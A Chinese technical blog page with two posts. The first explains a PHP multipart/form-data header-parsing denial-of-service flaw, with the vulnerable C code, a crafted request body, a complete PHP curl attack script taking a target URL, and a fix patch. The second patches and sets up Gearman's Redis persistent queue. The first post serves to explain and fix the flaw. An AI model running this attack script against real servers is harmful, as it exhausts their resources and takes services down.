LongLong's Blog

分享IT技术,分享生活感悟,热爱摄影,热爱航天。

PHP multipart/form-data 漏洞

最近PHP又报出了一个比较致命的安全漏洞,可以利用对使用PHP网站进行DDOS攻击,其可以利用很小的流量对Web服务器产生巨大的压力,非常类似于几年前的Hash冲突漏洞,但不同是这个漏洞只针对PHP,是PHP在实现时的一个bug,并不影响其他语言。对于此漏洞比较详细的描述可以参考http://drops.wooyun.org/papers/6077

1. 漏洞原理

上述的文章中已经比较详细的说明了这个漏洞的原理,这里再简单叙述一下,在PHP源代码main/rfc1867.c文件的multipart_buffer_headers函数中

while( (line = get_line(self TSRMLS_CC)) && strlen(line) > 0 )
{
        /* add header to table */
        char *key = line;
        char *value = NULL;

        /* space in the beginning means same header */
        if (!isspace(line[0])) {
                value = strchr(line, ':');
        }

        if (value) {
                *value = 0;
                do { value++; } while(isspace(*value));

                entry.value = estrdup(value);
                entry.key = estrdup(key);

        } else if (zend_llist_count(header)) { /* If no ':' on the line, add to previous line */

                prev_len = strlen(prev_entry.value);
                cur_len = strlen(line);

                entry.value = emalloc(prev_len + cur_len + 1);
                memcpy(entry.value, prev_entry.value, prev_len);
                memcpy(entry.value + prev_len, line, cur_len);
                entry.value[cur_len + prev_len] = '\0';

                entry.key = estrdup(prev_entry.key);

                zend_llist_remove_tail(header);
        } else {
                continue;
        }

        zend_llist_add_element(header, &entry);
        prev_entry = entry;
}

在这个循环中,PHP按行进行body的解析,找出相应的entry,看当前行中是否存在冒号来进行判断是否是一个新的entry,如果不是则认为当前是上一个entry的延续,然后else if中的逻辑——重新分配一个空间,将上次的内容和本次的内容进行合并,此时就可以构造一个行数非常多的entry,这样就可以使得PHP反复进行分配内存、合并内容的操作,可以产生可观的资源消耗。

2. 漏洞利用方法

我们只需要构造一个如下的HTTP请求body即可

------WebKitFormBoundaryX3B7rDMPcQlzmJE1
Content-Disposition: form-data; name="file"; filename=sp.jpga
a
a
a
a
Content-Type: application/octet-stream

datadata
------WebKitFormBoundaryX3B7rDMPcQlzmJE1

对于Content-Disposition entry,在最后增加一段一个字符一换行的数据,当行数在500000行时消耗的时间就已经非常可观了

POST / HTTP/1.1
Host: 127.0.0.1
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1
Content-Length: 1000193
Expect: 100-continue

HTTP/1.1 100 Continue
HTTP/1.1 200 OK
Server: nginx/0.8.55
Date: Mon, 18 May 2015 11:43:58 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.15

real	0m14.629s
user	0m0.047s
sys	0m0.007s

PHP-FPM会有极大的压力,与Hash冲突非常像。

31414 nobody    20   0  134m 5188 1876 R 98.3  1.0   0:07.47 php-fpm

3. 攻击脚本

将上述文章中的Python脚本改写成一个PHP的版本,以便于更好的理解,同时也更加简洁

<?php
$url = $argv[1];
$curl = curl_init();
$num = 500000;
$headers = array(
	"Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1"
);

$body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg";
for ($i = 0; $i < $num; $i++) {
	$body .= "a\n";
}
$body .= "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1";

curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, $body);
curl_setopt($curl, CURLOPT_VERBOSE, 1);

curl_exec($curl);
curl_close($curl);

4. 修复补丁

PHP 5.4以上版本已经在最新的版本中修复了这个漏洞,https://bugs.php.net/patch-display.php?bug=69364&patch=patch-5.4&revision=1431237650,可以从这个获得。但如果还是PHP 5.3则需要自己根据此补丁文件进行源代码的修改。

diff -Nur php-5.3.15/main/rfc1867.c php-5.3.15-patch/main/rfc1867.c
--- php-5.3.15/main/rfc1867.c	2012-07-13 06:17:37.000000000 +0800
+++ php-5.3.15-patch/main/rfc1867.c	2015-05-18 17:14:19.276262610 +0800
@@ -33,6 +33,7 @@
 #include "php_variables.h"
 #include "rfc1867.h"
 #include "ext/standard/php_string.h"
+#include "ext/standard/php_smart_str.h"

 #define DEBUG_FILE_UPLOAD ZEND_DEBUG

@@ -462,8 +463,9 @@
 static int multipart_buffer_headers(multipart_buffer *self, zend_llist *header TSRMLS_DC)
 {
 	char *line;
-	mime_header_entry prev_entry, entry;
-	int prev_len, cur_len;
+	mime_header_entry entry = {0};
+	smart_str buf_value = {0};
+	char *key = NULL;

 	/* didn't find boundary, abort */
 	if (!find_boundary(self, self->boundary TSRMLS_CC)) {
@@ -475,7 +477,6 @@
 	while( (line = get_line(self TSRMLS_CC)) && strlen(line) > 0 )
 	{
 		/* add header to table */
-		char *key = line;
 		char *value = NULL;

 		/* space in the beginning means same header */
@@ -484,31 +485,33 @@
 		}

 		if (value) {
-			*value = 0;
-			do { value++; } while(isspace(*value));
-
-			entry.value = estrdup(value);
-			entry.key = estrdup(key);
-
-		} else if (zend_llist_count(header)) { /* If no ':' on the line, add to previous line */
-
-			prev_len = strlen(prev_entry.value);
-			cur_len = strlen(line);
-
-			entry.value = emalloc(prev_len + cur_len + 1);
-			memcpy(entry.value, prev_entry.value, prev_len);
-			memcpy(entry.value + prev_len, line, cur_len);
-			entry.value[cur_len + prev_len] = '\0';
+			if(buf_value.c && key) {
+				/* new entry, add the old one to the list */
+				smart_str_0(&buf_value);
+				entry.key = key;
+				entry.value = buf_value.c;
+				zend_llist_add_element(header, &entry);
+				buf_value.c = NULL;
+				key = NULL;
+			}

-			entry.key = estrdup(prev_entry.key);
+			*value = '\0';
+			do { value++; } while(isspace(*value));

-			zend_llist_remove_tail(header);
+			key = estrdup(line);
+			smart_str_appends(&buf_value, value);
+		} else if (buf_value.c) { /* If no ':' on the line, add to previous line */
+			smart_str_appends(&buf_value, line);
 		} else {
 			continue;
 		}
-
+	}
+	if(buf_value.c && key) {
+		/* add the last one to the list */
+		smart_str_0(&buf_value);
+		entry.key = key;
+		entry.value = buf_value.c;
 		zend_llist_add_element(header, &entry);
-		prev_entry = entry;
 	}

 	return 1;

5. 修复效果

使用补丁修复后,再进行攻击测试,可以看到已经不存在响应缓慢的情况了

POST / HTTP/1.1
Host: 127.0.0.1
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1
Content-Length: 1000193
Expect: 100-continue

HTTP/1.1 100 Continue
HTTP/1.1 200 OK
Server: nginx/0.8.55
Date: Mon, 18 May 2015 11:53:42 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.15

real	0m0.124s
user	0m0.044s
sys	0m0.008s

用Redis做Gearman的持久化队列

Gearman很久之前就开始支持持久化队列,但用sqlite进行持久化性能实在是着急,之后支持了MySQL后才感觉靠谱一些,但对于高并发的情况下需要反复的写入和删除数据——消息到达需要写入消息,处理完成后删除消息,对MySQL的性能有着非常高的要求。而在Gearman的源代码中已经提供了将Redis作为持久化队列的代码,但相关的代码有较多的bug,感觉目前只是个隐藏功能,如果不对代码进行处理是没法正常使用的。

1. 修复代码中的bug

其中主要修复了默认只能够连接本地Reids、启动时不能够正确获取队列中的全部任务、不能正确解析获取到的任务标识和一些段错误,增加了断线重连的机制。感觉官方根本就没有认真的写这个模块,更没有好好的进行测试。补丁的代码如下,针对最新的1.1.12版本。希望官方之后能修复自己的一大堆bug。

diff -ruNa gearmand-1.1.12/libgearman-server/plugins/queue/redis/queue.cc gearmand-1.1.12.patch/libgearman-server/plugins/queue/redis/queue.cc
--- gearmand-1.1.12/libgearman-server/plugins/queue/redis/queue.cc      2014-02-12 08:05:28.000000000 +0800
+++ gearmand-1.1.12.patch/libgearman-server/plugins/queue/redis/queue.cc        2014-06-18 10:57:02.147575821 +0800
@@ -85,6 +85,7 @@
   ~Hiredis();

   gearmand_error_t initialize();
+  bool init_redis();

   redisContext* redis()
   {
@@ -113,10 +114,15 @@
 {
 }

+bool Hiredis::init_redis() {
+  int service_port= atoi(service.c_str());
+  _redis = redisConnect(server.c_str(), service_port);
+  return _redis != NULL;
+}
+
 gearmand_error_t Hiredis::initialize()
 {
-  int service_port= atoi(service.c_str());
-  if ((_redis= redisConnect("127.0.0.1", service_port)) == NULL)
+  if (!init_redis())
   {
     return gearmand_gerror("Could not connect to redis server", GEARMAND_QUEUE_ERROR);
   }
@@ -148,7 +154,7 @@
                         const char *function_name,
                         size_t function_name_size)
 {
-  key.resize(function_name_size +unique_size +GEARMAND_QUEUE_GEARMAND_DEFAULT_PREFIX_SIZE +4);
+  key.resize(function_name_size +unique_size +GEARMAND_QUEUE_GEARMAND_DEFAULT_PREFIX_SIZE +2);
   int key_size= snprintf(&key[0], key.size(), GEARMAND_KEY_LITERAL,
                          GEARMAND_QUEUE_GEARMAND_DEFAULT_PREFIX,
                          (int)function_name_size, function_name,
@@ -202,13 +208,19 @@
   build_key(key, unique, unique_size, function_name, function_name_size);
   gearmand_log_debug(GEARMAN_DEFAULT_LOG_PARAM, "hires key: %u", (uint32_t)key.size());

-  redisReply *reply= (redisReply*)redisCommand(queue->redis(), "SET %b %b", &key[0], key.size(), data, data_size);
+  redisReply *reply= (redisReply*)redisCommand(queue->redis(), "SET %s %b", &key[0], data, data_size);
   gearmand_log_debug(GEARMAN_DEFAULT_LOG_PARAM, "got reply");
   if (reply == NULL)
   {
-    return gearmand_log_gerror(GEARMAN_DEFAULT_LOG_PARAM, GEARMAND_QUEUE_ERROR, "failed to insert '%.*s' into redis", key.size(), &key[0]);
+    if (!queue->init_redis())
+    {
+      return gearmand_log_gerror(GEARMAN_DEFAULT_LOG_PARAM, GEARMAND_QUEUE_ERROR, "failed to insert '%.*s' into redis", key.size(), &key[0]);
+    }
+  } 
+  else 
+  { 
+    freeReplyObject(reply);
   }
-  freeReplyObject(reply);

   return GEARMAND_SUCCESS;
 }
@@ -231,12 +243,16 @@
   std::vector<char> key;
   build_key(key, unique, unique_size, function_name, function_name_size);

-  redisReply *reply= (redisReply*)redisCommand(queue->redis(), "DEL %b", &key[0], key.size());
+  redisReply *reply= (redisReply*)redisCommand(queue->redis(), "DEL %s", &key[0]);
   if (reply == NULL)
   {
-    return GEARMAND_QUEUE_ERROR;
+    if (!queue->init_redis()) {
+      return GEARMAND_QUEUE_ERROR;
+    }
+  }
+  else {
+    freeReplyObject(reply);
   }
-  freeReplyObject(reply);

   return GEARMAND_SUCCESS;
 }
@@ -252,7 +268,7 @@
   
   gearmand_info("hiredis replay start");

-  redisReply *reply= (redisReply*)redisCommand(queue->redis(), "KEYS %s", GEARMAND_QUEUE_GEARMAND_DEFAULT_PREFIX);
+  redisReply *reply= (redisReply*)redisCommand(queue->redis(), "KEYS %s*", GEARMAND_QUEUE_GEARMAND_DEFAULT_PREFIX);
   if (reply == NULL)
   {
     return gearmand_gerror("Failed to call KEYS during QUEUE replay", GEARMAND_QUEUE_ERROR);
@@ -265,9 +281,7 @@
     char unique[GEARMAN_MAX_UNIQUE_SIZE];

     char fmt_str[100] = "";    
-    int fmt_str_length= snprintf(fmt_str, sizeof(fmt_str), "%%%ds-%%%ds-%%%ds",
-                                 int(GEARMAND_QUEUE_GEARMAND_DEFAULT_PREFIX_SIZE),
-                                 int(GEARMAN_FUNCTION_MAX_SIZE),
+    int fmt_str_length= snprintf(fmt_str, sizeof(fmt_str), "%%[^-]-%%[^-]-%%%ds",
                                  int(GEARMAN_MAX_UNIQUE_SIZE));
     if (fmt_str_length <= 0 or size_t(fmt_str_length) >= sizeof(fmt_str))
     {
@@ -293,7 +307,7 @@
     (void)(add_fn)(server, add_context,
                    unique, strlen(unique),
                    function_name, strlen(function_name),
-                   get_reply->str, get_reply->len,
+                   strndup(get_reply->str, get_reply->len), get_reply->len,
                    GEARMAN_JOB_PRIORITY_NORMAL, 0);
     freeReplyObject(get_reply);
   }

2.模块的安装

如果安装了hiredis库,则在安装Gearman时就会自动加载Redis持久化队列模块,hireids的代码在Redis代码的deps/hiredis目录下,直接编译安装即可。正确的安装了Redis持久化队列模块后,运行gearmand有以下的提示,则证明模块已经正常被安装和加载。

redis:
--redis-server arg    Redis server
--redis-port arg      Redis server port/service

3.运行的效果

启动一个gearmand并连接相应的Redis实例,如下启动一个监听4730端口的gearmand并连接14730端口的Redis,这里端口的设计方法是方便启动多个gearmand时批量进行管理,默认对应Redis的端口是gearmand端口加10000。gearmand在启动时就会和Redis进行连接,如果连接失败则启动会失败。

/usr/local/sbin/gearmand -d -p 4730 -u nobody -P /var/run/gearmand/gearmand.4730.pid -t 4 -j 3 -l /var/log/gearmand/gearmand.4730 -q redis --redis-server 127.0.0.1 --redis-port 14730

通过gearman命令行工具向test队列写入一个异步消息,消息的内容为123,然后连接Redis进行查看,最后再使用gearadmin查看队列的状况,重启gearmand再查看队列的状况,最后启动一个Worker获取消息

#写入消息
echo "123" | gearman -f test -b
#连接Redis
/opt/redis/bin/redis-cli  -p 14730
#查看Redis中的内容,发现有一条记录
127.0.0.1:14730> keys *
1) "_gear_-test-205d3b6e-c479-11e4-9ad2-00237d29f08a"
#查看数据,发现是发送过来的123
127.0.0.1:14730> get _gear_-test-205d3b6e-c479-11e4-9ad2-00237d29f08a
"123\n"
127.0.0.1:14730>
#查看队列的状况,发现有一个消息
gearadmin --status
test	1	0	0
.
#重启gearmand
/etc/init.d/gearmand.4730 restart
#再查看队列的状况,发现消息仍然存在
gearadmin --status
test	1	0	0
.
#启动一个worker,发现正常的获得到了发送的消息
gearman -w -f test
123

如此就完成了对持久化正确性的验证,由于Redis是内存的数据库因此相比MySQL性能会有一定的保证,之前测试的结果是相比不开启持久化队列性能大概要下降一半左右。不过为了保证可靠性必然要付出一定的性能代价。